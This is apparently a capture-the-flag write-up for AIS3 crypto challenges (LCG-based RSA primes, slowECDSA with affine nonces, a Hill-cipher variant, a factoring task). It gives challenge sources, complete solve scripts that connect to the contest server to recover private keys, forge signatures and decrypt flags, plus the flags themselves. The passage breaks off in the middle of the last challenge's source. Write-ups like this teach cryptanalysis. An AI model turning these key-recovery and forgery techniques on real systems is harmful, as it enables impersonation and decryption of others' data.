c = 13859390954352613778444691258524799427895807939215664222534371322785849647150841939259007179911957028718342213945366615973766496138577038137962897225994312647648726884239479937355956566905812379283663291111623700888920153030620598532015934309793660829874240157367798084893920288420608811714295381459127830201

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
import random

def power(a, b, m):
    res = 1
    a %= m
    while b > 0:
        if b % 2 == 1:
            res = (res * a) % m
        a = (a * a) % m
        b //= 2
    return res

def extended_gcd(a, b):
    if a == 0:
        return b, 0, 1
    d, x1, y1 = extended_gcd(b % a, a)
    x = y1 - (b // a) * x1
    y = x1
    return d, x, y

def modInverse(n, m):
    d, x, y = extended_gcd(n, m)
    if d != 1:
        raise Exception('modular inverse does not exist')
    return (x % m + m) % m

def miller_rabin_test(d, n_val):
    # Pick a random number in [2, n_val-2]
    a_rand = 2 + random.randrange(n_val - 3) # random.randint(2, n-2)
    x = power(a_rand, d, n_val)
    if x == 1 or x == n_val - 1:
        return True
    # Keep squaring x while d does not reach n-1
    while d != n_val - 1:
        x = power(x, 2, n_val)
        d *= 2
        if x == 1:
            return False # composite
        if x == n_val - 1:
            return True # probably prime
    return False # composite

def is_prime_custom(n_val, k_iter=40): # k_iter is number of iterations
    if n_val <= 1: return False
    if n_val <= 3: return True
    if n_val % 2 == 0: return False
    # Write n-1 as 2^s * d
    d = n_val - 1
    while d % 2 == 0:
        d //= 2
    # Iterate k_iter times
    for _ in range(k_iter):
        if not miller_rabin_test(d, n_val):
            return False # composite
    return True # probably prime

def legendre_symbol(a, p_prime):
    ls = pow(a, (p_prime - 1) // 2, p_prime)
    if ls == p_prime - 1:
        return -1
    return ls

def tonelli_shanks(n_residue, p_prime):
    if legendre_symbol(n_residue, p_prime) != 1:
        if n_residue == 0: return 0
        return None

    if p_prime == 2: return n_residue # Should not happen with large prime M

    if p_prime % 4 == 3:
        return pow(n_residue, (p_prime + 1) // 4, p_prime)

    Q = p_prime - 1
    S = 0
    while Q % 2 == 0:
        Q //= 2
        S += 1

    z = 2
    while legendre_symbol(z, p_prime) != -1:
        z += 1

    M_val = S
    c_val = pow(z, Q, p_prime)
    t_val = pow(n_residue, Q, p_prime)
    R_val = pow(n_residue, (Q + 1) // 2, p_prime)

    while True:
        if t_val == 0:
            return 0
        if t_val == 1:
            return R_val
        
        i = 0
        temp_t = t_val
        while temp_t != 1 and i < M_val:
            temp_t = pow(temp_t, 2, p_prime)
            i += 1
        
        if i == 0: return R_val # Should be caught by t_val == 1
        if i == M_val : return None # Should not happen

        b_val = pow(c_val, pow(2, M_val - i - 1), p_prime) # Exponent is not mod p-1 here
        M_val = i
        c_val = pow(b_val, 2, p_prime)
        t_val = (t_val * c_val) % p_prime
        R_val = (R_val * b_val) % p_prime

def solve_quadratic_congruence_ts(coeff_a, coeff_b, coeff_c, mod_p):
    solutions = []
    # ax^2 + bx + c = 0 (mod p)
    
    # Ensure inputs are modulo p
    coeff_a %= mod_p
    coeff_b %= mod_p
    coeff_c %= mod_p

    if coeff_a == 0: # Linear congruence bx + c = 0 (mod p)
        if coeff_b == 0:
            if coeff_c == 0: # 0x = 0 (mod p) -> all x are solutions (not useful here)
                return [] 
            else: # 0 = -c (mod p) where c != 0. No solution.
                return []
        else:
            # bx = -c (mod p) => x = -c * b^-1 (mod p)
            try:
                inv_b = modInverse(coeff_b, mod_p)
            except Exception: # No inverse
                return []
            x = (-coeff_c * inv_b + mod_p) % mod_p
            solutions.append(x)
        return solutions

    # Quadratic case: ax^2 + bx + c = 0 (mod p)
    # x^2 + (b/a)x + (c/a) = 0 (mod p)
    try:
        inv_a = modInverse(coeff_a, mod_p)
    except Exception: # No inverse if a is multiple of p, or p not prime (M is prime)
        return []
        
    B_prime = (coeff_b * inv_a) % mod_p
    C_prime = (coeff_c * inv_a) % mod_p

    # (x + B'/2)^2 = (B'/2)^2 - C' (mod p)
    try:
        inv_2 = modInverse(2, mod_p)
    except Exception: # M = 2 case
         if mod_p == 2: # x^2 + B'x + C' = 0 (mod 2)
             # Check x=0: C' = 0 (mod 2)
             # Check x=1: 1 + B' + C' = 0 (mod 2)
             sols = []
             if C_prime == 0: sols.append(0)
             if (1 + B_prime + C_prime) % 2 == 0: sols.append(1)
             return sols
         return [] # Should not happen for large prime M

    neg_B_prime_div_2 = (-B_prime * inv_2 + mod_p) % mod_p
    
    discriminant_term_sqrt_part = (pow((B_prime * inv_2) % mod_p, 2, mod_p) - C_prime + mod_p) % mod_p
    
    sqrt_d = tonelli_shanks(discriminant_term_sqrt_part, mod_p)
    
    if sqrt_d is None: # No square root
        return []
    
    sol1 = (neg_B_prime_div_2 + sqrt_d) % mod_p
    solutions.append(sol1)
    
    if sqrt_d != 0: # Two distinct solutions
        sol2 = (neg_B_prime_div_2 - sqrt_d + mod_p) % mod_p
        # Ensure sol2 is distinct from sol1 before adding
        if sol1 != sol2:
             solutions.append(sol2)
             
    return solutions

def long_to_bytes(n_val):
    if n_val == 0:
        return b'\x00'
    length = (n_val.bit_length() + 7) // 8
    return n_val.to_bytes(length, 'big')

# Provided values
h0 = 2907912348071002191916245879840138889735709943414364520299382570212475664973498303148546601830195365671249713744375530648664437471280487562574592742821690
h1 = 5219570204284812488215277869168835724665994479829252933074016962454040118179380992102083718110805995679305993644383407142033253210536471262305016949439530
h2 = 3292606373174558349287781108411342893927327001084431632082705949610494115057392108919491335943021485430670111202762563173412601653218383334610469707428133
M = 9231171733756340601102386102178805385032208002575584733589531876659696378543482750405667840001558314787877405189256038508646253285323713104862940427630413
n_val = 20599328129696557262047878791381948558434171582567106509135896622660091263897671968886564055848784308773908202882811211530677559955287850926392376242847620181251966209002883852930899738618123390979377039185898110068266682754465191146100237798667746852667232289994907159051427785452874737675171674258299307283
e_pub = 65537
c_val = 13859390954352613778444691258524799427895807939215664222534371322785849647150841939259007179911957028718342213945366615973766496138577038137962897225994312647648726884239479937355956566905812379283663291111623700888920153030620598532015934309793660829874240157367798084893920288420608811714295381459127830201

# Step 1: Recover LCG parameters a and b
h1_minus_h0 = (h1 - h0 + M) % M
h2_minus_h1 = (h2 - h1 + M) % M

inv_h_diff = modInverse(h1_minus_h0, M)
a = (h2_minus_h1 * inv_h_diff) % M
b = (h1 - (a * h0) % M + M) % M

# print(f"Recovered a: {a}")
# print(f"Recovered b: {b}")

# Verify LCG params
# print(f"h0*a+b % M = {(a * h0 + b) % M}")
# print(f"h1 = {h1}")
# print(f"h1*a+b % M = {(a * h1 + b) % M}")
# print(f"h2 = {h2}")


# Step 2: Find p and q
n_mod_M = n_val % M
MAX_K = 2000 # Max iterations for k (number of LCG steps from p to q)
# MAX_K = 50 # Test with smaller K first

found_p = -1
found_q = -1

for k_count in range(1, MAX_K + 1):
    # print(f"Trying k = {k_count}")
    A_k = pow(a, k_count, M)
    
    if a == 1:
        sum_a_i = k_count % M
    else:
        try:
            inv_a_minus_1 = modInverse(a - 1, M)
        except Exception: # Should not happen if M is prime and a-1 != 0 mod M
            # print(f"Cannot find inverse for a-1 when a={a}")
            continue 
        sum_a_i = ((pow(a, k_count, M) - 1 + M) % M * inv_a_minus_1) % M
        
    S_k_b = (b * sum_a_i) % M
    
    # Solve A_k * p^2 + S_k_b * p - (n % M) = 0 (mod M)
    # Coeffs: C2*p^2 + C1*p + C0 = 0
    C2 = A_k
    C1 = S_k_b
    C0 = (-n_mod_M + M) % M
    
    p_solutions = solve_quadratic_congruence_ts(C2, C1, C0, M)

    for p_sol in p_solutions:
        p_candidate = p_sol
        
        if p_candidate == 0 or p_candidate == 1 : continue # p must be a prime > 1
        if not is_prime_custom(p_candidate):
            continue
            
        if n_val % p_candidate != 0:
            continue
        
        q_candidate = n_val // p_candidate
        
        if q_candidate == p_candidate : continue # p and q are distinct primes
        if not is_prime_custom(q_candidate):
            continue

        # Verification: q_candidate must be genPrime(p_candidate) in k_count steps
        current_val_for_q_gen = p_candidate
        is_q_valid_for_k = False
        path_clear = True
        
        for j in range(1, k_count + 1):
            current_val_for_q_gen = (a * current_val_for_q_gen + b) % M
            if j < k_count: # Intermediate values must not be prime
                if is_prime_custom(current_val_for_q_gen):
                    path_clear = False
                    break
            else: # j == k_count (final step)
                if path_clear and is_prime_custom(current_val_for_q_gen) and current_val_for_q_gen == q_candidate:
                    is_q_valid_for_k = True
        
        if is_q_valid_for_k:
            found_p = p_candidate
            found_q = q_candidate
            # print(f"Found p = {found_p} and q = {found_q} for k = {k_count}")
            break 
            
    if found_p != -1:
        break

if found_p != -1 and found_q != -1:
    # print(f"Successfully factored n!")
    # print(f"p = {found_p}")
    # print(f"q = {found_q}")

    # Step 3: Decryption
    phi_n = (found_p - 1) * (found_q - 1)
    try:
        d_priv = modInverse(e_pub, phi_n)
    except Exception:
        # print("Error: e_pub is not invertible modulo phi_n")
        d_priv = -1

    if d_priv != -1:
        m_int = pow(c_val, d_priv, n_val)
        try:
            flag = long_to_bytes(m_int)
            # print(f"Decrypted message (bytes): {flag}")
            # Attempt to decode as UTF-8, ignoring errors for non-text parts
            print(f"FLAG: {flag.decode('utf-8', 'ignore')}")
        except Exception as e:
            print(f"Error converting message to bytes or decoding: {e}")
            print(f"Decrypted message (int): {m_int}")
    else:
        print("Could not compute private key d.")
else:
    print("Failed to find p and q within the specified MAX_K iterations.")

Flag: AIS3{1_d0n7_r34lly_why_1_d1dn7_u53_637pr1m3}

showECDSA

image

chal.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/env python3

import hashlib, os
from ecdsa import SigningKey, VerifyingKey, NIST192p
from ecdsa.util import number_to_string, string_to_number
from Crypto.Util.number import getRandomRange
from flag import flag

FLAG = flag

class LCG:
    def __init__(self, seed, a, c, m):
        self.state = seed
        self.a = a
        self.c = c
        self.m = m

    def next(self):
        self.state = (self.a * self.state + self.c) % self.m
        return self.state

curve = NIST192p
sk = SigningKey.generate(curve=curve)
vk = sk.verifying_key
order = sk.curve.generator.order()

lcg = LCG(seed=int.from_bytes(os.urandom(24), 'big'), a=1103515245, c=12345, m=order)

def sign(msg: bytes):
    h = int.from_bytes(hashlib.sha1(msg).digest(), 'big') % order
    k = lcg.next()
    R = k * curve.generator
    r = R.x() % order
    s = (pow(k, -1, order) * (h + r * sk.privkey.secret_multiplier)) % order
    return r, s

def verify(msg: str, r: int, s: int):
    h = int.from_bytes(hashlib.sha1(msg.encode()).digest(), 'big') % order
    try:
        sig = number_to_string(r, order) + number_to_string(s, order)
        return vk.verify_digest(sig, hashlib.sha1(msg.encode()).digest())
    except:
        return False

example_msg = b"example_msg"
print("==============SlowECDSA===============")
print("Available options: get_example, verify")

while True:
    opt = input("Enter option: ").strip()

    if opt == "get_example":
        print(f"msg: {example_msg.decode()}")
        example_r, example_s = sign(example_msg)
        print(f"r: {hex(example_r)}")
        print(f"s: {hex(example_s)}")

    elif opt == "verify":
        msg = input("Enter message: ").strip()
        r = int(input("Enter r (hex): ").strip(), 16)
        s = int(input("Enter s (hex): ").strip(), 16)

        if verify(msg, r, s):
            if msg == "give_me_flag":
                print("✅ Correct signature! Here's your flag:")
                print(FLAG.decode())
            else:
                print("✔️ Signature valid, but not the target message.")
        else:
            print("❌ Invalid signature.")

    else:
        print("Unknown option. Try again.")

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#!/usr/bin/env python3

import hashlib
from pwn import remote, context
from ecdsa import NIST192p
from ecdsa.util import number_to_string, string_to_number

# Disable pwntools logging for cleaner output
context.log_level = 'error'

# LCG and Curve parameters from the challenge
a_lcg = 1103515245
c_lcg = 12345
curve = NIST192p
order = curve.order
G = curve.generator

def get_example_signature(p):
    p.sendlineafter(b"Enter option: ", b"get_example")
    p.recvuntil(b"msg: ")
    msg_str = p.recvline().strip().decode()
    p.recvuntil(b"r: ")
    r_hex = p.recvline().strip().decode()
    p.recvuntil(b"s: ")
    s_hex = p.recvline().strip().decode()
    return msg_str, int(r_hex, 16), int(s_hex, 16)

def verify_signature(p, msg_to_verify, r_val, s_val):
    p.sendlineafter(b"Enter option: ", b"verify")
    p.sendlineafter(b"Enter message: ", msg_to_verify.encode())
    p.sendlineafter(b"Enter r (hex): ", hex(r_val).encode())
    p.sendlineafter(b"Enter s (hex): ", hex(s_val).encode())
    response = p.recvall(timeout=3).decode()
    return response

def solve():
    # Connect to the server
    # conn = remote('localhost', 19000) # For local testing if server.py is challenge.py
    conn = remote('chals1.ais3.org', 19000)

    # 1. Get first signature
    msg_ex_str, r1, s1 = get_example_signature(conn)
    h_ex = int.from_bytes(hashlib.sha1(msg_ex_str.encode()).digest(), 'big') % order

    # 2. Get second signature
    _, r2, s2 = get_example_signature(conn) # msg_ex_str will be the same

    # 3. Calculate the private key (d)
    s1_inv = pow(s1, -1, order)

    # d = (h_ex * (1 - a_lcg * s2 * s1_inv) - c_lcg * s2) * pow(a_lcg * r1 * s2 * s1_inv - r2, -1, order) % order
    term_A = (h_ex * (1 - (a_lcg * s2 * s1_inv) % order + order)) % order # ensure positive intermediate
    num = (term_A - (c_lcg * s2) % order + order) % order

    term_B = (a_lcg * r1 * s2 * s1_inv) % order
    den = (term_B - r2 + order) % order
    
    if den == 0:
        print("Denominator is zero, cannot compute private key with these signatures.")
        conn.close()
        return

    private_key_d = (num * pow(den, -1, order)) % order

    # 4. Determine the nonce k_flag for signing "give_me_flag"
    # k2 was the nonce for the second signature (r2, s2)
    k2_nonce = (pow(s2, -1, order) * (h_ex + r2 * private_key_d)) % order
    
    # The next nonce from LCG will be k_flag
    k_flag = (a_lcg * k2_nonce + c_lcg) % order

    # 5. Sign the message "give_me_flag"
    msg_flag_bytes = b"give_me_flag"
    h_flag = int.from_bytes(hashlib.sha1(msg_flag_bytes).digest(), 'big') % order

    if k_flag == 0:
        print("k_flag is 0, cannot sign.")
        conn.close()
        return
        
    R_flag_point = k_flag * G
    r_flag = R_flag_point.x() % order

    if r_flag == 0:
        print("r_flag is 0, signature would be invalid. This is rare.")
        conn.close()
        return

    k_flag_inv = pow(k_flag, -1, order)
    s_flag = (k_flag_inv * (h_flag + r_flag * private_key_d)) % order

    if s_flag == 0:
        print("s_flag is 0, signature would be invalid. This is rare.")
        conn.close()
        return
        
    # 6. Send the forged signature
    print(f"Forged signature for '{msg_flag_bytes.decode()}':")
    print(f"  r: {hex(r_flag)}")
    print(f"  s: {hex(s_flag)}")
    
    verification_response = verify_signature(conn, msg_flag_bytes.decode(), r_flag, s_flag)
    
    print("\nServer response to verification:")
    print(verification_response)

    conn.close()

if __name__ == "__main__":
    solve()

Flag: AIS3{Aff1n3_nounc3s_c@N_bE_broke_ezily…}

Hill

image

source.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import numpy as np

p = 251
n = 8


def gen_matrix(n, p):
    while True:
        M = np.random.randint(0, p, size=(n, n))
        if np.linalg.matrix_rank(M % p) == n:
            return M % p

A = gen_matrix(n, p)
B = gen_matrix(n, p)

def str_to_blocks(s):
    data = list(s.encode())
    length = ((len(data) - 1) // n) + 1
    data += [0] * (n * length - len(data))  # padding
    blocks = np.array(data, dtype=int).reshape(length, n)
    return blocks

def encrypt_blocks(blocks):
    C = []
    for i in range(len(blocks)):
        if i == 0:
            c = (A @ blocks[i]) % p
        else:
            c = (A @ blocks[i] + B @ blocks[i-1]) % p
        C.append(c)
    return C

flag = "AIS3{Fake_FLAG}"
blocks = str_to_blocks(flag)
ciphertext = encrypt_blocks(blocks)

print("Encrypted flag:")
for c in ciphertext:
    print(c)

t = input("input: ")
blocks = str_to_blocks(t)
ciphertext = encrypt_blocks(blocks)
for c in ciphertext:
    print(c)

這題是個hill cipher

exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
import numpy as np
from sympy import Matrix
import socket
import re
import time

# --- Detail Koneksi (GANTI DENGAN YANG SEBENARNYA) ---
HOST = "chals1.ais3.org"
PORT = 18000

# --- Parameter yang Diberikan ---
p = 251
n = 8

s_sock = None # Global socket object

# --- Fungsi Jaringan (sama seperti sebelumnya) ---
def connect_to_server():
    global s_sock
    s_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s_sock.settimeout(10)
    try:
        print(f"[INFO] Mencoba terhubung ke {HOST}:{PORT}...")
        s_sock.connect((HOST, PORT))
        s_sock.settimeout(15)
        print(f"[INFO] Berhasil terhubung ke {HOST}:{PORT}")
    except Exception as e:
        print(f"[FATAL ERROR] Gagal terhubung: {e}")
        raise

def close_server_connection():
    global s_sock
    if s_sock:
        s_sock.close()
        s_sock = None
        print("[INFO] Koneksi ditutup")

def receive_until_prompt(prompt_bytes=b"input: "): # Mungkin hanya menerima sampai akhir output
    global s_sock
    if not s_sock: raise ConnectionError("Socket tidak terhubung.")
    data = b""
    try:
        # Untuk one-shot, server mungkin menutup koneksi setelah mengirim semua output
        # Jadi, kita baca sampai koneksi ditutup atau prompt (jika ada di akhir)
        while True:
            chunk = s_sock.recv(4096)
            if not chunk: # Koneksi ditutup
                break
            data += chunk
            if data.endswith(prompt_bytes): # Jika prompt ada di akhir
                break
    except socket.timeout:
        print(f"[WARN] Timeout saat menerima data, mungkin tidak semua data diterima. Data parsial: {data[:100]}...")
    except Exception as e:
        print(f"[ERROR Recv] {e}")
        raise
    return data

def send_payload_to_server(payload_bytes): # Hanya akan dipanggil sekali
    global s_sock
    if not s_sock: raise ConnectionError("Socket tidak terhubung.")
    s_sock.sendall(payload_bytes + b"\n")
    print(f"[INFO] Payload one-shot ({len(payload_bytes)} bytes) terkirim.")

def parse_ciphertext_blocks_from_string(output_str):
    # (Fungsi parsing sama seperti sebelumnya)
    blocks = []
    block_matches = re.findall(r"\[\s*([-\d\s]+)\s*\]", output_str)
    if not block_matches and output_str:
        print(f"[WARN] Tidak ada blok yang cocok dengan regex di output:\n---\n{output_str[:500]}...\n---")
    for match_idx, match_str in enumerate(block_matches):
        try:
            blocks.append(np.array(list(map(int, match_str.split())), dtype=int))
        except ValueError as e:
            print(f"[WARN] Gagal mem-parsing blok #{match_idx}: '{match_str}'. Error: {e}")
            continue 
    return blocks

# --- Fungsi Kripto (dekripsi sama, pemulihan kunci berbeda) ---

def get_initial_encrypted_flag_and_prompt(prompt_to_wait_for=b"input: "):
    print("[+] Mendapatkan flag terenkripsi awal dan menunggu prompt...")
    initial_output_bytes = receive_until_prompt(prompt_bytes=prompt_to_wait_for)
    initial_output_str = initial_output_bytes.decode(errors='ignore')
    
    # Cari prompt terakhir untuk memisahkan output yang tidak diinginkan
    parts_by_prompt = initial_output_str.rsplit(prompt_to_wait_for.decode(errors='ignore'), 1)
    relevant_output_str = parts_by_prompt[0] # Semua sebelum prompt terakhir

    if "Encrypted flag:" not in relevant_output_str:
        raise ValueError("Tidak dapat menemukan 'Encrypted flag:' pada output awal server.")
        
    parts = relevant_output_str.split("Encrypted flag:", 1)
    if len(parts) < 2:
         raise ValueError("Error memisahkan output awal server untuk mendapatkan flag.")
    
    flag_section = parts[1] 
    
    parsed_flag_blocks = parse_ciphertext_blocks_from_string(flag_section.strip())
    if not parsed_flag_blocks:
        raise ValueError("Tidak ada blok ciphertext flag yang berhasil di-parse dari output awal.")
    print(f"  Berhasil mendapatkan {len(parsed_flag_blocks)} blok flag terenkripsi.")
    return parsed_flag_blocks

def construct_one_shot_payload():
    all_payload_bytes = bytearray()
    print(f"[+] Membuat payload one-shot ({n*n} blok)...")
    for j in range(n): # Untuk setiap segmen (menentukan e_j)
        # Blok pertama segmen adalah e_j
        ej_bytes = bytes([1 if k == j else 0 for k in range(n)])
        all_payload_bytes.extend(ej_bytes)
        # n-1 blok berikutnya adalah vektor nol
        for _ in range(n - 1):
            zero_block_bytes = bytes([0] * n)
            all_payload_bytes.extend(zero_block_bytes)
    print(f"  Total byte payload: {len(all_payload_bytes)} ({n*n} blok x {n} byte/blok = {n*n*n} byte)")
    return bytes(all_payload_bytes)

def recover_A_and_B_from_one_shot_cipherblocks(all_C_blocks):
    if len(all_C_blocks) < n * n:
        raise ValueError(f"Jumlah blok ciphertext tidak cukup. Diharapkan {n*n}, diterima {len(all_C_blocks)}")

    A_cols = []
    B_cols = []
    print("[+] Memulihkan A dan B dari ciphertext one-shot...")
    for j in range(n): # Untuk setiap segmen ke-j
        idx_A_col = j * n
        idx_B_col = j * n + 1
        
        if idx_A_col >= len(all_C_blocks) or idx_B_col >= len(all_C_blocks):
            raise ValueError(f"Indeks di luar batas saat mengakses blok ciphertext untuk segmen {j}")

        A_col_j = all_C_blocks[idx_A_col]
        B_col_j = all_C_blocks[idx_B_col]
        A_cols.append(A_col_j)
        B_cols.append(B_col_j)
        # print(f"  Segmen {j}: Kolom A = {A_col_j.tolist()}, Kolom B = {B_col_j.tolist()}")

        # Verifikasi blok nol (opsional tapi bagus untuk debug)
        for k_offset in range(2, n):
            idx_zero_block = j * n + k_offset
            if idx_zero_block < len(all_C_blocks):
                 if not np.array_equal(all_C_blocks[idx_zero_block], np.zeros(n, dtype=int)):
                    print(f"[WARN] Blok C[{idx_zero_block}] diharapkan nol, tapi: {all_C_blocks[idx_zero_block].tolist()}")
            else:
                print(f"[WARN] Tidak cukup blok untuk memverifikasi blok nol di segmen {j}, offset {k_offset}")


    recovered_A = np.array(A_cols).T
    recovered_B = np.array(B_cols).T
    print("  Matriks A dan B berhasil dipulihkan dari respons one-shot.")
    return recovered_A, recovered_B

# Fungsi calculate_A_inverse_mod_p, decrypt_flag_blocks, convert_plaintext_blocks_to_string SAMA

def calculate_A_inverse_mod_p(A_matrix, mod_p_val): # (Sama seperti sebelumnya)
    print("[+] Menghitung A_inv mod p...")
    A_sympy = Matrix(A_matrix.tolist())
    try:
        A_inv_sympy = A_sympy.inv_mod(mod_p_val)
    except Exception as e: 
        print(f"[ERROR] Gagal menghitung invers matriks A: {e}")
        raise
    A_inv_np = np.array(A_inv_sympy.tolist(), dtype=np.int64)
    print("  A_inv berhasil dihitung.")
    return A_inv_np

def decrypt_flag_blocks(encrypted_blocks, A_inv_matrix, B_matrix, mod_p_val): # (Sama)
    print("[+] Mendekripsi blok flag...")
    decrypted_plaintext_blocks = []
    C0 = encrypted_blocks[0]
    P_prev = (A_inv_matrix @ C0) % mod_p_val
    decrypted_plaintext_blocks.append(P_prev.astype(int))
    for i in range(1, len(encrypted_blocks)):
        Ci = encrypted_blocks[i]
        B_P_prev = (B_matrix @ P_prev) % mod_p_val
        Ci_minus_BP_prev = (Ci - B_P_prev + mod_p_val) % mod_p_val
        Pi = (A_inv_matrix @ Ci_minus_BP_prev) % mod_p_val
        decrypted_plaintext_blocks.append(Pi.astype(int))
        P_prev = Pi
    print(f"  Total {len(decrypted_plaintext_blocks)} blok berhasil didekripsi.")
    return decrypted_plaintext_blocks

def convert_plaintext_blocks_to_string(blocks_list_of_arrays): # (Sama)
    byte_data = []
    for block_array in blocks_list_of_arrays:
        byte_data.extend(list(block_array.flatten()))
    padding_stripped = False
    while byte_data and byte_data[-1] == 0:
        byte_data.pop()
        padding_stripped = True
    if padding_stripped: print("[INFO] Padding null di akhir telah dihapus.")
    try: return bytes(byte_data).decode('utf-8')
    except UnicodeDecodeError:
        print("[WARN] Gagal decode UTF-8, mencoba latin-1...")
        return bytes(byte_data).decode('latin-1', errors='ignore')

def main_solve_one_shot():
    try:
        connect_to_server()

        # 1. Dapatkan flag terenkripsi & tunggu prompt "input: "
        # Prompt ini menandakan server siap untuk SATU input kita.
        encrypted_flag_cipher_blocks = get_initial_encrypted_flag_and_prompt(prompt_to_wait_for=b"input: ")

        # 2. Buat payload one-shot
        one_shot_payload = construct_one_shot_payload()

        # 3. Kirim payload one-shot
        send_payload_to_server(one_shot_payload)

        # 4. Terima semua output (blok ciphertext untuk payload kita + mungkin prompt lagi sebelum tutup)
        # Server mungkin akan menutup koneksi setelah ini.
        # Kita tidak mengharapkan prompt "input: " lagi secara fungsional.
        # `receive_until_prompt` akan membaca sampai akhir atau timeout.
        # Jika server menutup koneksi, prompt tidak akan ada.
        response_to_payload_bytes = receive_until_prompt(prompt_bytes=b"SERVER_WILL_CLOSE_SO_NO_REAL_PROMPT_EXPECTED_HERE") # Dummy prompt
        response_to_payload_str = response_to_payload_bytes.decode(errors='ignore')
        
        # Mungkin ada prompt "input: " di akhir output ini sebelum server menutup. Kita buang saja.
        if "input: " in response_to_payload_str:
             response_to_payload_str = response_to_payload_str.rsplit("input:",1)[0].strip()


        one_shot_C_blocks = parse_ciphertext_blocks_from_string(response_to_payload_str)
        print(f"[INFO] Menerima {len(one_shot_C_blocks)} blok ciphertext dari payload one-shot.")
        if len(one_shot_C_blocks) == 0:
            raise ValueError("Tidak ada blok ciphertext yang diterima untuk payload one-shot.")

        # 5. Pulihkan A dan B dari blok ciphertext yang diterima
        A_recovered, B_recovered = recover_A_and_B_from_one_shot_cipherblocks(one_shot_C_blocks)
        # print(f"[DEBUG] A_recovered:\n{A_recovered}")
        # print(f"[DEBUG] B_recovered:\n{B_recovered}")

        # 6. Hitung A_inv
        A_inv_recovered = calculate_A_inverse_mod_p(A_recovered, p)

        # 7. Dekripsi flag awal
        decrypted_P_blocks = decrypt_flag_blocks(encrypted_flag_cipher_blocks, A_inv_recovered, B_recovered, p)
        final_flag_string = convert_plaintext_blocks_to_string(decrypted_P_blocks)
        
        print("\n" + "="*40)
        print("🎉 [BERHASIL dengan ONE-SHOT] Flag Terdekripsi: 🎉")
        print(final_flag_string)
        print("="*40 + "\n")

    except EOFError as e: 
        print(f"[FATAL ERROR] Koneksi terputus atau timeout: {e}")
    except ConnectionError as e: 
        print(f"[FATAL ERROR] Kesalahan koneksi jaringan: {e}")
    except OverflowError as e:
        print(f"[FATAL ERROR] Masalah penerimaan data: {e}")
    except ValueError as e: 
        print(f"[FATAL ERROR] Kesalahan data atau parsing: {e}")
    except Exception as e:
        print(f"[FATAL ERROR] Terjadi error tak terduga: {e}")
        import traceback
        traceback.print_exc()
    finally:
        close_server_connection()

if __name__ == '__main__':
    main_solve_one_shot()

Flag: AIS3{b451c_h1ll_c1ph3r_15_2_3z_f0r_u5}

Happy Happy Factoring

image

source.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import random
from functools import reduce

from gmpy2 import is_prime


prime_list = [num for num in range(3, 5000) if is_prime(num)]


def get_william_prime():
    while True:
        li = [2] + random.choices(prime_list, k=85)
        n = reduce(lambda x, y: x * y, li)
        if is_prime(n - 1):
            return n - 1


def get_pollard_prime():
    while True:
        li = [2] + random.choices(prime_list, k=85)
        n = reduce(lambda x, y: x * y, li)
        if is_prime(n + 1):
            return n + 1


def get_fermat_prime():
    a = random.getrandbits(1024)
    if a % 2 != 0:
        a += 1
    check = 0
    for offset in range(random.getrandbits(512) | 1, 1 << 512 + 1, 2):
        if (not check & 1) and is_prime(a + offset):
            check |= 1
            p = a + offset
        if (not check & 2) and is_prime(a - offset):
